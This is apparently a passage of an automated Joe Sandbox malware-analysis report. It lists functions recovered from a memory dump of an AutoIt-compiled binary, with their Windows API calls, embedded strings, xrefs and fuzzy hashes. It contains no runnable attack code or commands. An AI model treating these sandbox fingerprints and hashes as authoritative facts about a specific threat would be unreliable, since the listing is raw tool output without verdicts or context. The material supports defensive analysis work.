SendMessageW.USER32(?,000000B0,?,?), ref: 0011C690
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0011C69B
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0011C6BE
_wcscat.LIBCMT ref: 0011C6EE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 0011C705
SendMessageW.USER32(?,000000B0,?,?), ref: 0011C71E
SendMessageW.USER32(?,000000B1,?,?), ref: 0011C735
SendMessageW.USER32(?,000000B1,?,?), ref: 0011C757
DragFinish.SHELL32(?), ref: 0011C75E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0011C851

Strings

@GUI_DRAGFILE, xrefs: 0011C800
@GUI_DRAGID, xrefs: 0011C7C9
@GUI_DROPID, xrefs: 0011C77E

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 169749273-3440237614
Opcode ID: 10ca6634ba34f4faaa7540bfef0f16f8980d11dc477b15d3003ad9e35518d7df
Instruction ID: e2968c83fef8e38b309f6bb4c952eb28abbbb535dfe66ffb36b12621fa2dccb2
Opcode Fuzzy Hash: 10ca6634ba34f4faaa7540bfef0f16f8980d11dc477b15d3003ad9e35518d7df
Instruction Fuzzy Hash: C6616C71108300AFCB05EF64DD85DEFBBE9EF89710F00492EF595962A1DB709989CB92

Function 00114392 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00114424
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0011446F

Strings

ISCHECKED, xrefs: 001145F2
SELECT, xrefs: 00114620
EXPAND, xrefs: 00114521
EXISTS, xrefs: 001144D8
CHECK, xrefs: 0011448F
GETTOTALCOUNT, xrefs: 00114456
GETITEMCOUNT, xrefs: 00114551
GETTEXT, xrefs: 001145C2
COLLAPSE, xrefs: 001144B5
UNCHECK, xrefs: 0011464B
GETSELECTED, xrefs: 0011457F

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: 60ecd73c3263bf1a7d8ef8a8ade7e8afb6dafa4e0de58421162396baf9c803e0
Instruction ID: 0ba115f903ca0da225d71c0a8b4895f2926ab3ea9be5066aba40297bdde0722f
Opcode Fuzzy Hash: 60ecd73c3263bf1a7d8ef8a8ade7e8afb6dafa4e0de58421162396baf9c803e0
Instruction Fuzzy Hash: 56918C702047018FCB08EF14C451AEEB7A1AF95754F15486CF8966B3A3DB30ED49DB81

Function 0011B7FE Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 197windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 0011B8B4
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,001191C2), ref: 0011B910
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0011B949
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 0011B98C
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0011B9C3
FreeLibrary.KERNEL32(?), ref: 0011B9CF
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0011B9DF
DestroyIcon.USER32(?,?,?,?,?,001191C2), ref: 0011B9EE
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 0011BA0B
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 0011BA17

Part of subcall function 000B2EFD: __wcsicmp_l.LIBCMT ref: 000B2F86

Strings

.exe, xrefs: 0011B84A
.icl, xrefs: 0011B82A
.dll, xrefs: 0011B86D

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
String ID: .dll$.exe$.icl
API String ID: 1212759294-1154884017
Opcode ID: 1c5ba1224c0a55c54682719a6541950a7049684cec6c35bd9c09dae79096e08c
Instruction ID: 4aa814c17d5539f07b69502aeac69f3b7488c224e5e8f7afdf45214982dcd909
Opcode Fuzzy Hash: 1c5ba1224c0a55c54682719a6541950a7049684cec6c35bd9c09dae79096e08c
Instruction Fuzzy Hash: 2861C0B1504219BAEB18DF64CD85FFE7BACEB08B10F108229F915D61D1DB749981D7A0

Function 000FDC1A Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 000FDCDC
SystemTimeToFileTime.KERNEL32(?,?), ref: 000FDCEC
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 000FDCF8
__wsplitpath.LIBCMT ref: 000FDD56
_wcscat.LIBCMT ref: 000FDD6E
_wcscat.LIBCMT ref: 000FDD80
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 000FDD95
SetCurrentDirectoryW.KERNEL32(?), ref: 000FDDA9
SetCurrentDirectoryW.KERNEL32(?), ref: 000FDDDB
SetCurrentDirectoryW.KERNEL32(?), ref: 000FDDFC
_wcscpy.LIBCMT ref: 000FDE08
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 000FDE47

Strings

*.*, xrefs: 000FDE02

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
String ID: *.*
API String ID: 3566783562-438819550
Opcode ID: a895553a98542dce72f0be4576735baba8047a1ae3ae5282bd84472bed3f14e1
Instruction ID: d8279ab94bc37b1719b6fd51a7eac4b3c5ac43ecd872b4b4bc3e43e1afba60d8
Opcode Fuzzy Hash: a895553a98542dce72f0be4576735baba8047a1ae3ae5282bd84472bed3f14e1
Instruction Fuzzy Hash: 3D617C725042099FCB10EF24C8459EFB3E9FF89314F04492EFA8987652EB31E945DB92

Function 000F9C38 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000016), ref: 000F9C7F

Part of subcall function 00097DE1: _memmove.LIBCMT ref: 00097E22

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 000F9CA0
__swprintf.LIBCMT ref: 000F9CF9
__swprintf.LIBCMT ref: 000F9D12
_wprintf.LIBCMT ref: 000F9DB9
_wprintf.LIBCMT ref: 000F9DD7

Strings

Line %d (File "%s"):, xrefs: 000F9CF3, 000F9D0C
Error: , xrefs: 000F9D81
"%s" (%d) : ==> %s:%s%s, xrefs: 000F9DB4
"%s" (%d) : ==> %s:, xrefs: 000F9DD2
Incorrect parameters to object property !, xrefs: 000F9D5B
^ ERROR , xrefs: 000F9D4E

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-3080491070
Opcode ID: 5ea69e8233a568df54e07ea19180d4355ee7325603112b648689ac55df4c99a1
Instruction ID: 4a4853a1fa4ff230f34cf85d712513fd7a87783ab2c38c06897a81c012a1dca5
Opcode Fuzzy Hash: 5ea69e8233a568df54e07ea19180d4355ee7325603112b648689ac55df4c99a1
Instruction Fuzzy Hash: E551907290060EAADF15EBE0DD46EFEB778AF14300F600165F509760A2EB312F59EB61

Function 000FA352 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00099837: __itow.LIBCMT ref: 00099862
Part of subcall function 00099837: __swprintf.LIBCMT ref: 000998AC

CharLowerBuffW.USER32(?,?), ref: 000FA3CB
GetDriveTypeW.KERNEL32 ref: 000FA418
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 000FA460
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 000FA497
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 000FA4C5

Part of subcall function 00097BCC: _memmove.LIBCMT ref: 00097C06

Strings

set cd door , xrefs: 000FA466
close cd wait, xrefs: 000FA4B0
type cdaudio alias cd wait, xrefs: 000FA443
closed, xrefs: 000FA3DF, 000FA3E8
open, xrefs: 000FA3F2
wait, xrefs: 000FA482
open , xrefs: 000FA427
close, xrefs: 000FA3D1

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: 798f1ea836ea6df1d7324a5b63b255c81521e72046e8bf8a304afbd654eb6409
Instruction ID: df324641af79d98af033bf4afe07532fd799f0375238663ea62234572c3550fd
Opcode Fuzzy Hash: 798f1ea836ea6df1d7324a5b63b255c81521e72046e8bf8a304afbd654eb6409
Instruction Fuzzy Hash: 34515B721142059FCB00EF24C9819AFB3E4FF95718F10886DF89A572A2DB71ED0ADB52

Function 000EF8AA Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,00000000,?,000CE029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000), ref: 000EF8DF
LoadStringW.USER32(00000000,?,000CE029,00000001), ref: 000EF8E8

Part of subcall function 00097DE1: _memmove.LIBCMT ref: 00097E22

GetModuleHandleW.KERNEL32(00000000,00155310,?,00000FFF,?,?,000CE029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000,00000001), ref: 000EF90A
LoadStringW.USER32(00000000,?,000CE029,00000001), ref: 000EF90D
__swprintf.LIBCMT ref: 000EF95D
__swprintf.LIBCMT ref: 000EF96E
_wprintf.LIBCMT ref: 000EFA17
MessageBoxW.USER32(00000000,?,?,00011010), ref: 000EFA2E

Strings

Line %d (File "%s"):, xrefs: 000EF957
Error: , xrefs: 000EF9E5
Line %d:, xrefs: 000EF968
^ ERROR, xrefs: 000EF9C3
%s (%d) : ==> %s: %s %s, xrefs: 000EFA12

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: b6e752d3631db94d4608b9cb9cb1a23ab4de144900f595a52ef913d4b4888c63
Instruction ID: d80233f3d9632979602a51b2247c2c47d154227fb730d8bad129bee0f5cbf77a
Opcode Fuzzy Hash: b6e752d3631db94d4608b9cb9cb1a23ab4de144900f595a52ef913d4b4888c63
Instruction Fuzzy Hash: 9A41F772904209AACF15FBE1DD86EFEB778AF18301F500065B509B60A3EB316F49DB61

Function 0011BA33 Relevance: 22.6, APIs: 15, Instructions: 130filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00119207,?,?), ref: 0011BA56
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00119207,?,?,00000000,?), ref: 0011BA6D
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00119207,?,?,00000000,?), ref: 0011BA78
CloseHandle.KERNEL32(00000000,?,?,?,?,00119207,?,?,00000000,?), ref: 0011BA85
GlobalLock.KERNEL32(00000000), ref: 0011BA8E
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,00119207,?,?,00000000,?), ref: 0011BA9D
GlobalUnlock.KERNEL32(00000000), ref: 0011BAA6
CloseHandle.KERNEL32(00000000,?,?,?,?,00119207,?,?,00000000,?), ref: 0011BAAD
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00119207,?,?,00000000,?), ref: 0011BABE
OleLoadPicture.OLEAUT32(?,00000000,00000000,00122CAC,?), ref: 0011BAD7
GlobalFree.KERNEL32(00000000), ref: 0011BAE7
GetObjectW.GDI32(00000000,00000018,?), ref: 0011BB0B
CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 0011BB36
DeleteObject.GDI32(00000000), ref: 0011BB5E
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 0011BB74

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 52cff23f6a322612dc5e4b97846b79ce3b4fd281cb9bba439c5feaaf15d6ff99
Instruction ID: fce934ebc9d4d486712968926100178bd77796894f7180165ad888245b9e15b7
Opcode Fuzzy Hash: 52cff23f6a322612dc5e4b97846b79ce3b4fd281cb9bba439c5feaaf15d6ff99
Instruction Fuzzy Hash: 31412975604204FFDB199F65DD88EEA7BB8FF89711F108068F909D7660D7309982CB60

Function 000FD899 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 000FDA10
_wcscat.LIBCMT ref: 000FDA28
_wcscat.LIBCMT ref: 000FDA3A
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 000FDA4F
SetCurrentDirectoryW.KERNEL32(?), ref: 000FDA63
GetFileAttributesW.KERNEL32(?), ref: 000FDA7B
SetFileAttributesW.KERNEL32(?,00000000), ref: 000FDA95
SetCurrentDirectoryW.KERNEL32(?), ref: 000FDAA7

Strings

*.*, xrefs: 000FDAE6

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
String ID: *.*
API String ID: 34673085-438819550
Opcode ID: b02d430b41ca6398f70e7c5e107ece596b000a5989708d084938dd7f88488482
Instruction ID: 439c142c10c76def84a044a433a87736c2806da96d956a0c1d62fda0d36abc52
Opcode Fuzzy Hash: b02d430b41ca6398f70e7c5e107ece596b000a5989708d084938dd7f88488482
Instruction Fuzzy Hash: 5781C4715082099FCB64DFA4C8449BEB7E6BF89310F14482FF989C7611E770D945EB52

Function 0011C1AC Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00092612: GetWindowLongW.USER32(?,000000EB), ref: 00092623

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 0011C1FC
GetFocus.USER32 ref: 0011C20C
GetDlgCtrlID.USER32(00000000), ref: 0011C217
_memset.LIBCMT ref: 0011C342
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 0011C36D
GetMenuItemCount.USER32(?), ref: 0011C38D
GetMenuItemID.USER32(?,00000000), ref: 0011C3A0
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 0011C3D4
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 0011C41C
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 0011C454
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 0011C489

Strings

0, xrefs: 0011C33A

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: d8e0a3a22aeac6de0a3fb04b2358475f1e91d4f1c59eabb5416eec694969f30d
Instruction ID: 782851fc508d40d34fe14f6b7c339e230b8612a498dd53b440899e29496da9ca
Opcode Fuzzy Hash: d8e0a3a22aeac6de0a3fb04b2358475f1e91d4f1c59eabb5416eec694969f30d
Instruction Fuzzy Hash: 07818E70248311AFD718CF14C994AEBBBE9FB88714F00493EFA9597691D730D985CBA2

Function 0010731A Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0010738F
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 0010739B
CreateCompatibleDC.GDI32(?), ref: 001073A7
SelectObject.GDI32(00000000,?), ref: 001073B4
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00107408
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00107444
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00107468
SelectObject.GDI32(00000006,?), ref: 00107470
DeleteObject.GDI32(?), ref: 00107479
DeleteDC.GDI32(00000006), ref: 00107480
ReleaseDC.USER32(00000000,?), ref: 0010748B

Strings

(, xrefs: 00107410

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: d457258965656ff5897d6d92ccea7994ea664c77b1b0241fa2c4bba5143e958e
Instruction ID: 7c5540a88ba8c446aa2cf21ba98e6f27a5cdb7ad8a01c32caefd361055a43780
Opcode Fuzzy Hash: d457258965656ff5897d6d92ccea7994ea664c77b1b0241fa2c4bba5143e958e
Instruction Fuzzy Hash: 0F512875904209EFDB14CFA8DC85EAEBBB9FF48310F14842DF99A97291C771A941CB50

Function 00096A8C Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 000B0957: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00096B0C,?,00008000), ref: 000B0973

Part of subcall function 00094750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00094743,?,?,000937AE,?), ref: 00094770

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00096BAD
SetCurrentDirectoryW.KERNEL32(?), ref: 00096CFA

Part of subcall function 0009586D: _wcscpy.LIBCMT ref: 000958A5

Part of subcall function 000B363D: _iswctype.LIBCMT ref: 000B3645

Strings

Unterminated string, xrefs: 000CE7E4
Error opening the file, xrefs: 000CE43D, 000CE4B8
#include depth exceeded. Make sure there are no recursive includes, xrefs: 000CE421
>>>AUTOIT SCRIPT<<<, xrefs: 000CE496
EA06, xrefs: 000CE452
Bad directive syntax error, xrefs: 000CE79D
AU3!, xrefs: 00096B61

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-1018226102
Opcode ID: 154b7fdf71130d5be5c3c2b9ec8c53fbb5b653eaea0b0f756702a7ae01ca57fc
Instruction ID: b48e5481fc2b98918d0982d4cf2540f89b82bc3e4c0c1acef5d219065400e005
Opcode Fuzzy Hash: 154b7fdf71130d5be5c3c2b9ec8c53fbb5b653eaea0b0f756702a7ae01ca57fc
Instruction Fuzzy Hash: C302AC311083419FCB24EF20C881EEFBBE5AF95314F10492DF49A972A2DB31D949DB42

Function 000F2D36 Relevance: 19.7, APIs: 13, Instructions: 214windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 000F2D50
GetMenuItemInfoW.USER32(00000000,00000007,00000000,00000030), ref: 000F2DDD
GetMenuItemCount.USER32(00155890), ref: 000F2E66
DeleteMenu.USER32(00155890,00000005,00000000,000000F5,?,?), ref: 000F2EF6
DeleteMenu.USER32(00155890,00000004,00000000), ref: 000F2EFE
DeleteMenu.USER32(00155890,00000006,00000000), ref: 000F2F06
DeleteMenu.USER32(00155890,00000003,00000000), ref: 000F2F0E
GetMenuItemCount.USER32(00155890), ref: 000F2F16
SetMenuItemInfoW.USER32(00155890,00000004,00000000,00000030), ref: 000F2F4C
GetCursorPos.USER32(?), ref: 000F2F56
SetForegroundWindow.USER32(00000000), ref: 000F2F5F
TrackPopupMenuEx.USER32(00155890,00000000,?,00000000,00000000,00000000), ref: 000F2F72
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 000F2F7E

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 3993528054-0
Opcode ID: d87a52347339765938ef902d26f05f311575a8e57b3c7ef3b9735d3825e1aeb3
Instruction ID: aa6351c9fd4460c5fc56f9448baeaf487199a287fa20bb960530033acb15407a
Opcode Fuzzy Hash: d87a52347339765938ef902d26f05f311575a8e57b3c7ef3b9735d3825e1aeb3
Instruction Fuzzy Hash: BC71D27060020DBAEB658F54DC45FFABFA9FB04324F24422AF715AA5E1C7B15860EB90

